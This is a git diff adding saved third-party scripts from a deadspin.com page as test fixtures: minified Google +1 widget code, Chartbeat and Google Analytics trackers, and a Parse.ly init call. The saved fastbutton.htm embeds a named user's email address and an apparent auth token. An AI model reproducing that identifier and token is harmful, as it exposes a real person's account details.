+if(window.__gapi_jstiming__){window.__gapi_jstiming__.tk={};window.__gapi_jstiming__.ns=1;_.Qf=function(a,c,f){var g=a.t[c],h=a.t.start;if(g&&(h||f))return g=a.t[c][0],f!=_.p?h=f:h=h[0],g-h};window.__gapi_jstiming__.getTick=_.Qf;window.__gapi_jstiming__.getLabels=function(a){var c=[],f;for(f in a.t)c.push(f);return c};_.Rf=function(a,c,f){var g="";window.__gapi_jstiming__.pt&&(g+="&srt="+window.__gapi_jstiming__.pt);try{window.external&&window.external.tran?g+="&tran="+window.external.tr [...]
+window.gtbExternal.tran?g+="&tran="+window.gtbExternal.tran():window.chrome&&window.chrome.csi&&(g+="&tran="+window.chrome.csi().tran)}catch(h){}var l=window.chrome;if(l&&(l=l.loadTimes)){l().wasFetchedViaSpdy&&(g+="&p=s");if(l().wasNpnNegotiated){var g=g+"&npn=1",n=l().npnNegotiatedProtocol;n&&(g+="&npnv="+(window.encodeURIComponent||window.escape)(n))}l().wasAlternateProtocolAvailable&&(g+="&apa=1")}var q=a.t,t=q.start,l=[],n=[],w;for(w in q)if("start"!=w&&0!=w.indexOf("_")){var x=q[w] [...]
+n.push(w+"."+(0,_.Qf)(a,w,q[x][0])):t&&l.push(w+"."+(0,_.Qf)(a,w))}if(c)for(var A in c)g+="&"+A+"="+c[A];(c=f)||(c="https:"==window.document.location.protocol?"https://csi.gstatic.com/csi":"http://csi.gstatic.com/csi");a=[c,"?v=3","&s="+(window.__gapi_jstiming__.sn||"gwidget")+"&action=",a.name,n.length?"&it="+n.join(","):"","",g,"&rt=",l.join(",")].join("");if(!a)return"";var g=new window.Image,E=window.__gapi_jstiming__.ns++;window.__gapi_jstiming__.tk[E]=g;g.onload=g.onerror=function( [...]
+delete window.__gapi_jstiming__.tk[E]};g.src=a;g=_.s;return a};window.__gapi_jstiming__.report=function(a,c,f){if("prerender"==window.document.webkitVisibilityState){var g=_.u,h=function(){if(!g){c?c.prerender="1":c={prerender:"1"};var l;"prerender"==window.document.webkitVisibilityState?l=_.u:((0,_.Rf)(a,c,f),l=_.r);l&&(g=_.r,window.document.removeEventListener("webkitvisibilitychange",h,_.u))}};window.document.addEventListener("webkitvisibilitychange",h,_.u);return""}return(0,_.Rf)(a,c,f)}};
+_.yf=[73,74,77,78];_.xf={g:"gapi_global",m:"gapi_module",w:"gwidget"};_.of.prototype.key=function(){switch(this.type){case "g":return this.type;case "m":return this.type+"."+this.b;case "w":return this.type+"."+this.name+this.b}};_.vf=new _.of;_.qf=window.navigator.userAgent.match(/iPhone|iPad|Android|PalmWebOS|Maemo|Bada/);_.sf=(0,_.ta)(_.hf,"_c",(0,_.N)());_.tf=window.Math.random()<((0,_.O)("csi/rate")||0);(0,_.ef)("blt","bs0","bs1");(0,_.ef)("psi","ps0","ps1");(0,_.ef)("rpcqi","rqe","rqd");
+(0,_.ef)("mli","ml0","ml1");(0,_.ef)("mei","me0","me1",_.r);(0,_.ef)("wci","wrs","wdc");(0,_.ef)("wdi","wrs","wrdi");(0,_.ef)("wdt","bs0","wrdt");(0,_.ef)("wri","wrs","wrri",_.r);(0,_.ef)("wrt","bs0","wrrt");(0,_.ef)("wji","wje0","wje1",_.r);(0,_.ef)("wjli","wjl0","wjl1");(0,_.ef)("whi","wh0","wh1",_.r);_.Sf=_.hf.r;if("function"!==typeof _.Sf){for(_.Tf;_.Tf=_.Sf.shift();)_.rf.apply(_.s,_.Tf);_.hf.r=_.rf};
+_.Vf=["div"];_.Wf="onload";_.Xf=_.r;_.Hf=_.s;_.Hf=(0,_.O)();(0,_.O)("gwidget");_.Yf=(0,_.zf)("parsetags");_.Wf="explicit"===_.Yf||"onload"===_.Yf?_.Yf:_.Wf;_.Zf=(0,_.zf)("google_analytics");"undefined"!==typeof _.Zf&&(_.Xf=!!_.Zf);_.$f={};_.$f.width=[(0,_.Af)(450)];_.$f.height=[(0,_.Af)(24)];_.$f.callback=[_.Bf];_.$f.onready=[_.Bf];_.$f.lang=[function(){return(0,_.zf)("lang")||"en-US"},"hl"];_.$f.iloader=[function(){return _.Pa.ILI},"iloader"];_.Ef=_.$f;
+_.Uf={Ga:function(a){function c(a){for(var c={},f=0;f<a.length;++f)c[a[f].toLowerCase()]=1;c[h.mt]=1;h.Dr=c}function f(){"onload"===_.Wf&&q.go()}var g,h={};h.Ib=a[0];h.Pj=-1;h.vn="___"+h.Ib+"_";h.mt="g:"+h.Ib;h.Qv="g-"+h.Ib;h.Hm=[];h.Ja={};h.Dh=[];h.Uh=[];a[1]&&(h.Zr=a[1]);h.Ja=a[2]||{};for(var l in _.Ef)_.Ef.hasOwnProperty(l)&&!h.Ja.hasOwnProperty(l)&&(h.Ja[l]=_.Ef[l]);a[3]&&(h.Dh=a[3]);a[4]&&c(a[4]);a[5]&&(h.re=a[5]);h.gw=a[7]===_.r;h.ds=a[8];h.Dr||c(_.Vf);if(a=a[6])if("number"==typeof [...]
+a;for(var n=a.length-1;0<=n;--n)h.Ja[a[n]]=[_.Bf]}else for(n in a)a.hasOwnProperty(n)&&!h.Ja.hasOwnProperty(n)&&(h.Uh.push(n),h.Ja[n]=a[n]);h.fj=function(a){function c(){Fs||(Fs=_.r,f(),Gs&&(0,_.jf)("wrrt",pc,qc),(0,_.jf)("wrri",pc,qc))}function f(){Hs||(Hs=_.r,cc.ca(),Gs&&(0,_.jf)("wrdt",pc,qc),(0,_.jf)("wrdi",pc,qc))}function g(a){a=a||cc;var c=(0,_.Rd)(cc,a.width);c&&Mi.style.width!=c.pd&&(Mi.style.width=c.pd);if((a=(0,_.Rd)(cc,a.height))&&Mi.style.height!=a.pd)Mi.style.height=a.pd}h. [...]
+h.Ib,(0,window.String)(h.Pj));var l=[];h.re&&(l[0]=a.element,l[1]=a.Vg,h.re("s",l),a.Vg=l[1]);var n=a.element,q=n.parentNode,t=a.Ja;if(0===a.Vg){var qa=window.document.createElement("div");q.insertBefore(qa,n);q.removeChild(n);n=qa}qa=n.style;if(n.id){if(0===n.id.indexOf(h.vn)){var fa=n.nextSibling;fa&&(fa.getAttribute&&fa.getAttribute("data-gapistub"))&&q.removeChild(fa);qa.cssText=""}}else{var q=n,fa=h.vn,ka=h.Ib,yb=(0,_.Ra)();window.Object.prototype.hasOwnProperty.call(yb,ka)||(yb[ka] [...]
+yb[ka];yb[ka]=Ni+1;q.id=fa+Ni}t.height&&(qa.height=t.height+"px");t.width&&(qa.width=t.width+"px");qa.display||(qa.display="inline-block");(0,_.le)(n);var je=":"+h.Ib;":plus"==je&&(a.qe&&a.qe.action)&&(je+="_"+a.qe.action);var qa={},q=h.Dh[0],fa=t.callback,dc=h.Dh[1];if(dc&&_.Xf)var QB=fa||(0,_.v)(),fa=function(a){var c=dc(a);if(c&&window._gat)try{var f=window._gat._getTrackerByName("~0");f&&"UA-XXXXX-X"!=f._getAccount()?f._trackSocial("Google",c,a.href||_.s):window._gaq&&window._gaq.pus [...]
+"Google",c,a.href||_.s])}catch(g){}QB(a)};q&&fa&&(qa[q]=fa);q=h.Uh;for(fa=q.length-1;0<=fa;--fa){var Dc=q[fa];(ka=t[Dc])&&(qa[Dc]=ka)}q={};for(Dc in a.qe)a.qe[Dc]!=_.s&&(q[Dc]=a.qe[Dc]);Dc={container:n.id,renderData:a.ms,style:"inline",height:t.height,width:t.width};if(!_.U.va("attach")){var fa={},Oi=_.U.va("inline"),Pi;for(Pi in Oi)Oi.hasOwnProperty(Pi)&&(fa[Pi]=Oi[Pi]);fa.open=function(a){var c=window.document.getElementById(a.ya.renderData.id);c||(0,_.m)((0,window.Error)("n"));return [...]
+c)};_.U.oa("attach",fa)}Dc.style="attach";h.re&&(l[2]=Dc,l[3]=q,l[4]=qa,h.re("i",l),a.Vg=l[1]);var cc=function(a){var c=_.Cf.apply(_.s,[je].concat([].slice.call(arguments,0)));if(t.onready){var f=_.u,g=function(){f||(f=_.r,t.onready.call(_.s))};c.ea("ready",g);c.ea("renderstart",g)}(0,_.If)(c);return c}(Dc,q,qa),Mi=n;cc.ea("ready",g);cc.ea("renderstart",g);cc.ea("resize",g);var Gs=a.Ip,pc=h.Ib,qc=(0,window.String)(h.Pj),Hs=_.u;cc.ea("renderstart",f);var Fs=_.u;cc.ea("ready",c);_.S.S("wid [...]
+cc.id,c);_.S.S("widget-csi-tick-"+cc.id,function(a,c,f){"wdc"===a||"wci"===a?(0,_.jf)("wdc",pc,qc,f):"wje0"===a||"wji_"===a?(0,_.jf)("wje0",pc,qc,f):"wje1"===a||"wji"===a?(0,_.jf)("wje1",pc,qc,f):"wh0"==a?((0,_.kf)(pc,qc).wh0=f||(new window.Date).getTime(),(0,_.Re)("wh0",pc,qc)):"wh1"==a&&((0,_.kf)(pc,qc).wh1=f||(new window.Date).getTime(),(0,_.Re)("wh1",pc,qc))});l[5]=cc;h.re&&h.re("e",l)};g=h;if(n=g.ds)for(a=0;a<n.length;a++)(new window.Image).src=n[a];(0,_.wd)(g.Ib,function(a){var c=a [...]
+f=a.iframeNode;if((f=f&&f.parentNode)&&1===f.nodeType){f.removeAttribute("data-gwattr");var h=(0,_.Ff)(g.Ja,c);g.Hm.push({element:f,Ja:h,qe:(0,_.Df)(h,(0,_.Ff)(g.Zr,c)),Vg:3,Ip:!!c["data-onload"],ms:a})}a=g.Hm;for(c=g.fj;0<a.length;)c(a.shift())});_.Se[g.Ib]=_.r;var q={J:function(a,c){var f=c||{};f.type=g.Ib;var h=f.type;delete f.type;var l=("string"===typeof a?window.document.getElementById(a):a)||_.p,n={},q;for(q in f)(0,_.Ca)(f,q)&&(n[q.toLowerCase()]=f[q]);n.rd=1;(0,_.Ye)(h,l,n,[],0) [...]
+
+_.iv=(window.gapi||{}).load;
+_.U.uj("bubble",function(a){(0,_.iv)("iframes-styles-bubble",a)});
+_.U.uj("slide-menu",function(a){(0,_.iv)("iframes-styles-slide-menu",a)});
+
+_.Xw=function(a,c,f){a=(0,_.Je)(a);c=(0,_.we)(c);if(""!=a){if("inline"==a||"only"==a)return a=450,f.width&&(a=120<f.width?f.width:120),{width:a,height:_.xe[c]["false"].height};if("bubble"!=a){if("none"==a)return _.xe[c]["false"];if("pp"==a)return _.Yw}}return _.xe[c]["true"]};_.Yw={width:180,height:35};_.Zw={"0":"plusone"};_.$w=(0,_.O)("iframes/plusone/preloadUrl");_.$w&&(_.Zw[8]=_.$w);(0,_.Ne)(_.Be);_.Zw[1]=_.Be;
+_.Zw[2]={width:[function(a,c){return c.annotation?(0,_.Xw)(c.annotation,c.size,c).width:_.xe[(0,_.we)(c.size)][(0,_.ye)(c.count,c.size)].width}],height:[function(a,c){return c.annotation?(0,_.Xw)(c.annotation,c.size,c).height:_.xe[(0,_.we)(c.size)][(0,_.ye)(c.count,c.size)].height}]};_.Zw[3]=["onPlusOne",function(a){return"on"==a.state?"+1":_.s}];_.Zw[4]=["div","button"];_.Zw[6]=["onstartinteraction","onendinteraction","onpopup"];_.mb=_.nb=_.Uf.Ga(_.Zw);
+(0,_.P)("gapi.plusone.render",_.nb.J);(0,_.P)("gapi.plusone.go",_.nb.go);(0,_.P)("googleapisv0.plusone.render",_.mb.J);(0,_.P)("googleapisv0.plusone.go",_.mb.go);
+});
+
+// Copyright 2002-2013 Google Inc.
diff --git a/src/test/resources/s/deadspin_files/chartbeat.js b/src/test/resources/s/deadspin_files/chartbeat.js
new file mode 100644
index 0000000..535843c
--- /dev/null
+++ b/src/test/resources/s/deadspin_files/chartbeat.js
@@ -0,0 +1,11 @@
+(function(){var e=true,g,h=this;function k(a){var b={};if(a){a.charAt(0)=="?"&&(a=a.substring(1));for(var a=a.replace("+"," "),a=a.split(/[&;]/g),c=0;c<a.length;c++){var d=a[c].split("=");b[decodeURIComponent(d[0])]=decodeURIComponent(d[1])}}return b}function m(a,b,c){var d="",f=h.location.href.split("?");f.length&&(f=k(f[1]),b=c||b,f[b]&&(d="&"+a+"="+f[b]));return d};function q(a,b,c,d){return(a=a[c]||a[d])?"&g"+b+"="+encodeURIComponent(a):""};function r(){if(s!==void 0)return s;try{var [...]
+g.p=function(){var a=h._sf_startpt,b=h._sf_endpt;if(typeof a=="number")this.t=typeof b=="number"?b-a:y()-a;this.l=setInterval(u(this.j,this),15E3);this.j()};g.G=function(){this.f.push(1);for(var a=0,b=0;b<this.f.length;++b)a+=this.f[b];a<3?(this.n=e,A(this)):(clearInterval(this.l),B("_SUPERFLY_nosample","1",0.0070))};function C(a){if(!x("_SUPERFLY_nosample"))a.C?a.p():(a.C=e,!h._sf_async_config&&!h._cbq?v("load",u(a.p,a)):a.p())}
+g.F=function(){var a=this.o,b=r();if(b)b._cb_cp+=(b._cb_cp?",":"")+a;else if(!h.name)h.name="_cb_cp"+a};function A(a){var b=a.g,b=b?Math.min(b*2,16):1;a.g=b}g.I=function(a,b){this.w=h.location.protocol+"//"+this.a.domain+this.a.path;this.a.path=a;b&&(this.a.title=b);clearInterval(this.l);this.b();C(this)};
+g.j=function(){var a=this.a.reading&&+this.a.reading||D(this.d);E(this.d);if(this.m<this.g&&!a)this.m++;else{a?this.g=0:A(this);this.m=0;this.f.push(0);this.f.length>18&&this.f.shift();var a=this.a,b=F(),c=Math.round((y()-this.u)/600)/100,d=0,f=0,j=0;G(this.d,"onkeydown")?f=1:this.a.reading&&+this.a.reading||G(this.d,"onmousemove")||G(this.d,"onscroll")||c<0.1?d=1:j=1;var n="",i="",I=h.location;if(this.n)this.n=false,this.w?(n=this.w,i=e):(n=document.referrer||"",i=n.indexOf("://"+I.host [...]
+-1&&i<9),n=(i?"&v=":"&r=")+encodeURIComponent(n),i=a.title.slice(0,100),i="&i="+encodeURIComponent(i);var Q=this.t?"&b="+this.t:"",R=this.k?"&A="+this.k:"",S=this.r?"&f="+this.r:"",o,l=r();if(l)o=l._cb_cp,l._cb_cp="";else if(/_cb_cp[a-z0-9]{16}/.test(h.name))o=h.name.substr(6),h.name="";o=o?"&D="+o:"";var l=[],p;for(p in a)p.charAt(0)=="_"&&l.push(p+"="+a[p]);p=(I.protocol||"http:")+"//"+a.pingServer+"/ping?h="+encodeURIComponent(a.domain)+"&p="+encodeURIComponent(a.path)+"&u="+(w()[0]|| [...]
+encodeURIComponent(this.B)+"&g="+a.uid+q(a,0,"sections","categories")+q(a,1,"authors","brands")+(a.noCookies?"":"&n="+this.D)+S+"&c="+c+"&x="+b+"&y="+(document.body.scrollHeight||0)+"&w="+(h.innerHeight||document.body.offsetHeight||0)+"&j="+Math.round((this.g+2)*15E3/1E3)+"&R="+d+"&W="+f+"&I="+j+"&E="+this.q+n+Q+R+m("C","utm_campaign",a.campaignTag)+m("M","utm_medium",a.mediumTag)+"&t="+this.o+"&V=8"+o+i+(l.length?"&"+l.join("&"):"")+"&_";a=new Image(1,1);a.onerror=this.A;a.src=p;y()-thi [...]
+clearInterval(this.l)}};function H(a,b){var c=Math;return c.abs(c.floor((+b-+a)/864E5))}function J(a,b){for(;b--;)a+=b==0?1:0;return a};function F(){var a=document.body,b=document.documentElement;if(typeof h.pageYOffset=="number")return h.pageYOffset;else if(a&&a.scrollTop)return a.scrollTop;else if(b&&b.scrollTop)return b.scrollTop;return 0};function K(a){z.call(this,a)}(function(){var a=z;function b(){}b.prototype=a.prototype;K.v=a.prototype;K.prototype=new b})();
+K.prototype.b=function(){K.v.b.call(this);this.q=0;this.k=null;for(var a=this.a,b=document.getElementsByTagName("script"),c=0;c<b.length;++c)if(b[c].src.match(/chartbeat.js/)){b=k(b[c].src.split("?")[1]);a.uid=a.uid||b.uid;a.domain=a.domain||b.domain;break}a=h.location;b=this.a;b.pingServer=b.pingServer||"ping.chartbeat.net";b=this.a;b.title=b.title||document.title;b=this.a;b.domain=b.domain||a.host;b=this.a;a:{c=null;if(this.a.useCanonical){for(var c=null,d=document.getElementsByTagName [...]
+f=0;f<d.length;++f)if(d[f].rel=="canonical")c=d[f].href,c=c.substring(c.indexOf("/",9));if(c)break a}f=h.location;c=f.pathname+(f.search||"");c=c.replace(/PHPSESSID=[^&]+/,"");d=/&utm_[^=]+=[^&]+/ig;(f=d.exec(f.search))&&(c=c.replace(d,""));d=/\?utm_[^=]+=[^&]+(.*)/i;(f=d.exec(c))&&(c=c.replace(d,f[1]!=""?"?"+f[1]:""))}b.path=b.path||c;this.B=a.host.replace(/^www\./,"");this.a.domain=this.a.domain.replace(/^www\./,"");this.h=x("_chartbeat2");a=y()-+((this.h||"").split(".")[1]||0);d=y();f [...]
+14);f&&(c=f[3],(d=H(f[2],d))&&d<14&&(b=J(c.substr(d),d)));this.D=this.h&&a>18E5?0:1;this.h?(a=w(),a[2]=y(),a[3]=b,this.h=a.join(".")):this.h=t()+"."+y()+"."+y()+"."+b;B("_chartbeat2",this.h,30);var j;a=w();if(b=a[3])H(a[1],a[2])<14&&(b=b.substr(b.indexOf("1"))),j=Math.round(b.length/b.replace(/0/g,"").length*10)/10;this.r=j};K.prototype.z=function(a){this.k=a};K.prototype.j=function(){D(this.d)&&(this.q+=15);K.v.j.call(this)};function L(){this.i=[];M(this,h,"onscroll");M(this,document.bo [...]
+function G(a,b){for(var c=0,d=0;d<a.c.length;d++)c+=a.c[d][b]||0;return c}function E(a){a.e=(a.e+1)%a.c.length;for(var b=0;b<a.i.length;b++)a.c[a.e][a.i[b]]=0};function x(a){a+="=";for(var b=document.cookie.split(";"),c=0;c<b.length;c++){for(var d=b[c];d.charAt(0)==" ";)d=d.substring(1,d.length);if(d.indexOf(a)==0)return d.substring(a.length,d.length)}return null}function B(a,b,c){var d=h._sf_async_config;if(!d||!d.noCookies)d=new Date,d.setTime(y()+c*864E5),document.cookie=a+"="+b+("; e [...]
diff --git a/src/test/resources/s/deadspin_files/deadspin.com b/src/test/resources/s/deadspin_files/deadspin.com
new file mode 100644
index 0000000..6fdb44d
--- /dev/null
+++ b/src/test/resources/s/deadspin_files/deadspin.com
@@ -0,0 +1 @@
+PARSELY.pInit({"apikey":"deadspin.com","customizations":null,"bundle":"/code/ptrack_v18.js","settings":{"debug":false,"widget":false,"tracker":true},"uuid":"4503F7D1-EA88-437B-93C7-4CDCDF89EA60"});
\ No newline at end of file
diff --git a/src/test/resources/s/deadspin_files/deadspin.png b/src/test/resources/s/deadspin_files/deadspin.png
new file mode 100644
index 0000000..31ade14
Binary files /dev/null and b/src/test/resources/s/deadspin_files/deadspin.png differ
diff --git a/src/test/resources/s/deadspin_files/fastbutton.htm b/src/test/resources/s/deadspin_files/fastbutton.htm
new file mode 100644
index 0000000..97b87ad
--- /dev/null
+++ b/src/test/resources/s/deadspin_files/fastbutton.htm
@@ -0,0 +1,22 @@
+<!DOCTYPE html>
+<!-- saved from url=(0563)https://plusone.google.com/_/+1/fastbutton?bsv&size=medium&count=false&recommendations=false&hl=en-US&origin=http%3A%2F%2Fdeadspin.com&url=http%3A%2F%2Fdeadspin.com%2F5978653%2Fall-football-players-are-suckers-a-former-nfl-no%2Bnamer-on-his-lennay-kekua-moment&ic=1&jsh=m%3B%2F_%2Fscs%2Fapps-static%2F_%2Fjs%2Fk%3Doz.gapi.en.aPK5np_BmWs.O%2Fm%3D__features__%2Fam%3DQQ%2Frt%3Dj%2Fd%3D1%2Frs%3DAItRSTMSi_D4WLklGI99V6PwU513x37QsA#_methods=onPlusOne%2C_ready%2C_close%2C [...]
+<html lang="en" dir="ltr"><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8"><!--<base href="https://plusone.google.com/">--><base href="."><style type="text/css">.a-f-e{position:relative;display:-moz-inline-box;display:inline-block}* html .a-f-e,*:first-child+html .a-f-e{display:inline}p{width:500px}iframe{width:100%}.ZRa{float:left;white-space:nowrap}.g-rba-Dh-kQa{margin:0;padding:0;background-color:transparent}.g-rba-Dh-VYa{background-color:#fff;margin:0;padding: [...]
+m.createElement("a");e.href=n;e.pathname=e.search=e.hash="";f=e.href.replace(/\/\??\#?$/,"")}else f="";var k=g(i,"pfname"),b={s:c,f:h,r:h,t:g(i,"rpctoken"),a:d||[""],g:"ping"};m.all?a.setTimeout(j,0):j()}},l;(window.gapi=window.gapi||{}).inline={ping:p,tick:function(c,d){p("widget-csi-tick-"+window.name,[c,null,d])},b:function(c){l=c}}; })();
+</script></head><body class="g-rba-Dh-kQa " marginwidth="0" marginheight="0"><div id="root"><script type="text/javascript">window.__SSR = {si:1,e:'kristian.rosenvold at zenior.no',dn:'Kristian Rosenvold',a:'none',at:'AEIZW7RTZxonGSXn6L8uX0hP5A8SG2sya3iW1+82j\/+8xogkE8diJ9hRXwVqC9q4cDIhzELf706MucL8mltDfQdBg22x2BqTC1rBYJdjm8kiluU8wFBBUwI\x3d',ld:[,[1,,[]
+,2,32]
+]
+,r:'http:\/\/deadspin.com\/',s:'widget',annd: 1.0 ,bp: {dr: true ,}, id:'http:\/\/deadspin.com\/5978653\/all-football-players-are-suckers-a-former-nfl-no+namer-on-his-lennay-kekua-moment'}; document.addEventListener && document.addEventListener('DOMContentLoaded', function () {gapi.inline.tick('wdc', new Date().getTime());}, false);</script><div id="plusone" dir="ltr" class="Bg"><span id="widget_bounds"><table cellpadding="0" cellspacing="0"><tbody><tr><td><div class="ZRa"><span id="butt [...]
+ var _DumpException = function(e) {
+ e['errsource'] = e['errsource'] || 'api_widget';
+ throw e;
+ }
+ </script><script>window['___jsl'] = window['___jsl'] || {}; window['___jsl']['ci'] = [{"services":{},"deviceType":"desktop","inline":{"css":1},"lexps":[69,100,71,98,96,79,74,45,17,86,82,92,94,61,90,30],"oauth-flow":{"authUrl":"https://accounts.google.com/o/oauth2/auth","proxyUrl":"https://accounts.google.com/o/oauth2/postmessageRelay"},"report":{},"iframes":{"additnow":{"methods":["launchurl"],"url":"https://apis.google.com/additnow/additnow.html?bsv"},"plus":{"methods":["onauth"],"u [...]
+{});var E;E=x(v,"___jsl",A());x(E,"I",0);x(E,"hel",10);var G=function(){var a=aa.href,b;if(E.dpo)b=E.h;else{b=E.h;var c=RegExp("([#].*&|[#])jsh=([^&#]*)","g"),e=RegExp("([?#].*&|[?#])jsh=([^&#]*)","g");if(a=a&&(c.exec(a)||e.exec(a)))try{b=decodeURIComponent(a[2])}catch(d){}}return b},H=function(a){return x(x(E,"H",A()),a,A())};var I=x(E,"perf",A()),J=x(I,"g",A()),ea=x(I,"i",A());x(I,"r",[]);A();A();var M=function(a,b,c){var e=I.r;"function"===typeof e?e(a,b,c):e[m]([a,b,c])},O=function(a [...]
+var T=function(a){return a.join(",")[q](/\./g,"_")[q](/-/g,"_")},U=function(a,b){for(var c=[],e=0;e<a[s];++e){var d=a[e];d&&0>da.call(b,d)&&c[m](d)}return c},fa=/^[\/_a-zA-Z0-9,.\-!:=]+$/,ga=/^https?:\/\/[^\/\?#]+\.google\.com(:\d+)?\/[^\?#]+$/,ha=/\/cb=/g,ia=/\/\//g,ja=/^\/[a-z_]+\//,W=function(a){V(a)},V=function(a){var b=w.createElement(S);b.setAttribute("src",a);b.async="true";(a=w.getElementsByTagName(S)[0])?a.parentNode.insertBefore(b,a):(w.head||w.body||w.documentElement).appendCh [...]
+function(a,b){var c=b||{};"function"==typeof b&&(c={},c[R.a]=b);var e=c,d=e&&e[R.c];if(d)for(var h=0;h<Q[s];h++){var k=Q[h][0],r=Q[h][1];r&&Object.prototype.hasOwnProperty.call(d,k)&&r(d[k],a,e)}e=a?a.split(":"):[];if(!(d=c[R.d]))if(d=G(),!d)throw"Bad hint";h=d;k=x(E,"ah",A());if(!k["::"]||!e[s])X(e||[],c,h);else{d=[];for(r=g;r=e.shift();){var j=r.split("."),j=k[r]||k[j[1]&&"ns:"+j[0]||""]||h,t=d[s]&&d[d[s]-1]||g,n=t;if(!t||t.hint!=j)n={hint:j,b:[]},d[m](n);n.b[m](r)}var F=d[s];if(1<F){v [...]
+D&&(c[R.a]=function(){0==--F&&D()})}for(;e=d.shift();)X(e.b,c,e.hint)}},X=function(a,b,c){var e=a.sort();a=[];for(var d=void 0,h=0;h<e[s];h++){var k=e[h];k!=d&&a[m](k);d=k}a=a||[];var r=b[R.a],j=b[R.e],d=b[R.TIMEOUT],t=b[R.f],n=g,F=i;if(d&&!t||!d&&t)throw"Timeout requires both the timeout parameter and ontimeout parameter to be set";var e=x(H(c),"r",[]).sort(),D=x(H(c),"L",[]).sort(),K=[].concat(e),$=function(a,b){if(F)return 0;v.clearTimeout(n);D[m].apply(D,u);var d=((C||{}).config||{}) [...]
+d(j):j&&x(E,"cu",[])[m](j);if(b){O("me0",a,K);try{Z(function(){var a;a=c===G()?x(C,"_",A()):A();a=x(H(c),"_",a);b(a)})}finally{O("me1",a,K)}}r&&r();return 1};0<d&&(n=v.setTimeout(function(){F=f;t()},d));var u=U(a,D);if(u[s]){var u=U(a,e),y=x(E,"CP",[]),z=y[s];y[z]=function(a){if(!a)return 0;O("ml1",u,K);var b=function(){y[z]=g;return $(u,a)};if(0<z&&y[z-1])y[z]=b;else for(b();(b=y[++z])&&b(););};if(u[s]){var L="loaded_"+E.I++;C[L]=function(a){y[z](a);C[L]=g};a=c.split(";");a=(d=P[a.shift [...]
+if(!a)throw"Bad hint:"+c;d=a=a[q]("__features__",T(u))[q](/\/$/,"")+(e[s]?"/ed=1/exm="+T(e):"")+("/cb=gapi."+L);h=d.match(ia);k=d.match(ha);if(!k||!(1===k[s]&&ga[p](d)&&fa[p](d)&&h&&1===h[s]))throw"Bad URL "+a;e[m].apply(e,u);O("ml0",u,K);b[R.g]||v.___gapisync?(b=a,"loading"!=w.readyState?W(b):w.write("<"+S+' src="'+encodeURI(b)+'"></'+S+">")):W(a,b,L)}else y[z](ba)}else $(u)};var Z=function(a){if(E.hee&&0<E.hel)try{return a()}catch(b){E.hel--,Y("debug_error",function(){l.___jsl.hefn(b)} [...]
+w.createEventObject){var k=function(a){for(var b=0;b<ma[s];b++)w[a+"Event"](ma[b],r)};if(!na()){var r=function(a){k("detach");var b=w.createEventObject(a);oa();b.srcElement.fireEvent("on"+b.type,b);a.cancelBubble=f;a.stopPropagation&&a.stopPropagation()};k("attach")}}else e=i;if(e){var j=a,t=function(a){E.LE?a():x(E,"LQ",[])[m](a)};a=v.XMLHttpRequest;j=j[q](/^https?:\/\/[^\/]+\//,"/");if(!ja[p](j))throw"Bad URL "+j;var n=new a;n.open("GET",j,f);n.onreadystatechange=function(){if(4===n.re [...]
+n.status){var a=n.responseText,d=b.src_cb;d&&d();var e=i;l.GAPI_EVAL&&(a+="\n//@ sourceURL="+encodeURI(j),e=f);d=function(){if(ka[p](a)){var d=a,j=e,h=b.before_eval_cb;h&&h();B(v,d,j)}else C[c](function(){var c=a,d=e,h=b.before_eval_cb;h&&h();B(this,c,d)})};t?t(d):d()}else throw"Error requesting "+j+": "+n.statusText+"\nCurrent location: "+location.href;};n.send(g)}else V(a)};J.bs0=l.gapi._bs||(new Date).getTime();M("bs0");J.bs1=(new Date).getTime();M("bs1");delete l.gapi._bs;})();
+gapi.load("",{callback:window["gapi_onload"],_c:{"jsl":{"ci":{"services":{},"deviceType":"desktop","lexps":[69,100,71,98,96,79,74,45,17,86,82,92,94,61,90,30],"inline":{"css":1},"report":{},"oauth-flow":{"authUrl":"https://accounts.google.com/o/oauth2/auth","proxyUrl":"https://accounts.google.com/o/oauth2/postmessageRelay"},"isPlusUser":false,"iframes":{"additnow":{"methods":["launchurl"],"url":"https://apis.google.com/additnow/additnow.html?bsv"},"plus":{"methods":["onauth"],"url":":soci [...]
\ No newline at end of file
diff --git a/src/test/resources/s/deadspin_files/ga.js b/src/test/resources/s/deadspin_files/ga.js
new file mode 100644
index 0000000..f965547
--- /dev/null
+++ b/src/test/resources/s/deadspin_files/ga.js
@@ -0,0 +1,59 @@
+(function(){var g=void 0,h=!0,j=null,l=!1,aa=encodeURIComponent,ba=Infinity,ca=setTimeout,n=Math,da=decodeURIComponent;function ea(a,b){return a.name=b}
+var p="push",fa="test",ia="slice",q="replace",ja="load",ka="floor",la="charAt",ma="value",r="indexOf",na="match",oa="port",pa="createElement",qa="path",s="name",v="host",w="toString",x="length",y="prototype",ra="clientWidth",z="split",sa="stopPropagation",ta="scope",A="location",ua="search",B="protocol",va="clientHeight",wa="href",C="substring",xa="apply",ya="navigator",D="join",E="toLowerCase",F;function za(a,b){switch(b){case 0:return""+a;case 1:return 1*a;case 2:return!!a;case 3:retur [...]
+function H(a,b){if(aa instanceof Function)return b?encodeURI(a):aa(a);I(68);return escape(a)}function J(a){a=a[z]("+")[D](" ");if(da instanceof Function)try{return da(a)}catch(b){I(17)}else I(68);return unescape(a)}var Fa=function(a,b,c,d){a.addEventListener?a.addEventListener(b,c,!!d):a.attachEvent&&a.attachEvent("on"+b,c)},Ga=function(a,b,c,d){a.removeEventListener?a.removeEventListener(b,c,!!d):a.detachEvent&&a.detachEvent("on"+b,c)};
+function Ha(a,b){if(a){var c=K[pa]("script");c.type="text/javascript";c.async=h;c.src=a;c.id=b;var d=K.getElementsByTagName("script")[0];d.parentNode.insertBefore(c,d);return c}}function L(a){return a&&0<a[x]?a[0]:""}function Ia(a){var b=a?a[x]:0;return 0<b?a[b-1]:""}var Ja=function(){this.prefix="ga.";this.R={}};Ja[y].set=function(a,b){this.R[this.prefix+a]=b};Ja[y].get=function(a){return this.R[this.prefix+a]};Ja[y].contains=function(a){return this.get(a)!==g};function Ka(a){0==a[r]("w [...]
